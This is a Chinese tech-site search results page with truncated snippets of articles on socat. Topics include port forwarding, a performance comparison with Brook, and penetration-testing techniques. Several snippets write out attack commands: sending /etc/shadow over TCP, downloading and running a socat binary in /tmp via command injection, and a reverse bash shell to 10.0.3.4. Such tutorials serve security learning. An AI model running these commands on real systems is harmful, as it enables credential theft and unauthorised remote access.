首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

linux卸载socat,socat在Linux下的使用「建议收藏」

目录 0x01 socat介绍 0x02 socat进行文件传输 0x03 socat正向端口转发 0x04 socat反向端口转发 注: 边界机器 Ubuntu 192.168.222.177 内网机器...win7 192.168.222.137 0x01 socat介绍 socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】...,socat本身就是在Linux下使用的,非要将它放到Windows下使用难免会有水土不服嘛,这次就回到Linux上来进行socat的使用。...apt-get install socat 完成后来检验一下是否安装成功 socat -h 0x02 socat进行文件传输 首先,我们去边界机器执行 socat -u /etc/shadow TCP4...socat.exe tcp-listen:1000 tcp-listen:1001 然后,我们在边缘机器上执行命令 注:10.1.135.96是我本地主机的IP socat tcp4-connect

1.8K20

socat与Brook 端口转发非权威对比测试,到底孰强孰弱?

常见的端口转发程序有socat、Brook、nginx、rinetd、iptables等,大部分已经在博客做过介绍,有兴趣的同学可参考我之前的文章。...socat与Brook均是通过Docker方式部署,部署完毕后,没有任何连接的情况下,内存占用情况如下。...---- socat测试结果:耗时48m44s,最高内存占用5.8Mb左右。...占用比brook更低 高并发情况下socat内存占用比brook更高 高并发情况下brook CPU占用比socat更高 多线程下载,brook效率好于socat 总结 以上结果仅针对HTTP转发进行压测...如果是个人少量使用,并且机器配置较低的情况下建议socat 如果并发较大,要求更高的效率,建议选择brook 后续将对其它端口转发软件做对比测试,敬请关注。

98910

实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty

---- 实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty 前言 当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的...使用socat socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。...攻击机: # 首先安装 $ sudo apt install socat # 执行 $ socat file:`tty`,raw,echo=0 tcp-listen:4444...目标机 # 把socat上传到目标机器上或者直接下载 $ wget https://github.com/andrew-d/static-binaries/raw/master.../binaries/linux/x86_64/socat -O /tmp/socat # 运行 $ chmod +x /tmp/socat $ /tmp/socat exec:'

3.3K21

Privilege Escalation特权提升及防御思路

SocatSocat 就像 steroids(英文原意是类固醇) 上的 netcat。它可以做所有相同的事情,甚至更多。...Socat 语法比 Netcat 难Socat 普及性不如 Netcat。默认情况下,几乎每个 Linux 发行版都安装了 Netcat。但它们默认情况下很少安装 Socat。...如果 Linux 系统,可以使用 curl 或 wget (wget /socat -O /tmp/socat) 来下载文件。...这意味着目标必须安装 socat。然而大多数机器默认情况下没有安装 socat,但我们可以上传预编译的 socat 二进制文件到目标上,然后就可以正常执行。...图片使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 侦听器上接收到一个完全交互式的 bash shell:请注意,socat shell 是完全交互式的

95440

如何将简单的Shell转换成为完全交互式的TTY

方法2:使用socat socat是一个netcat上的替代工具,可以说是nc的增强版。我们可以使用Socat通过TCP连接传递完整的TTY。...如果你成功在目标机器安装了socat,那么我们就可以通过以下命令来获取到一个完全交互式的TTY反向shell: 在kali虚拟机我们运行以下侦听命令: socat file:`tty`,raw,echo...socat你可以通过以下Github地址,下载相关的二进制静态文件进行安装: https://github.com/andrew-d/static-binaries 通过命令注入漏洞,我们可以将socat...-O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4...: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint

4.6K40
领券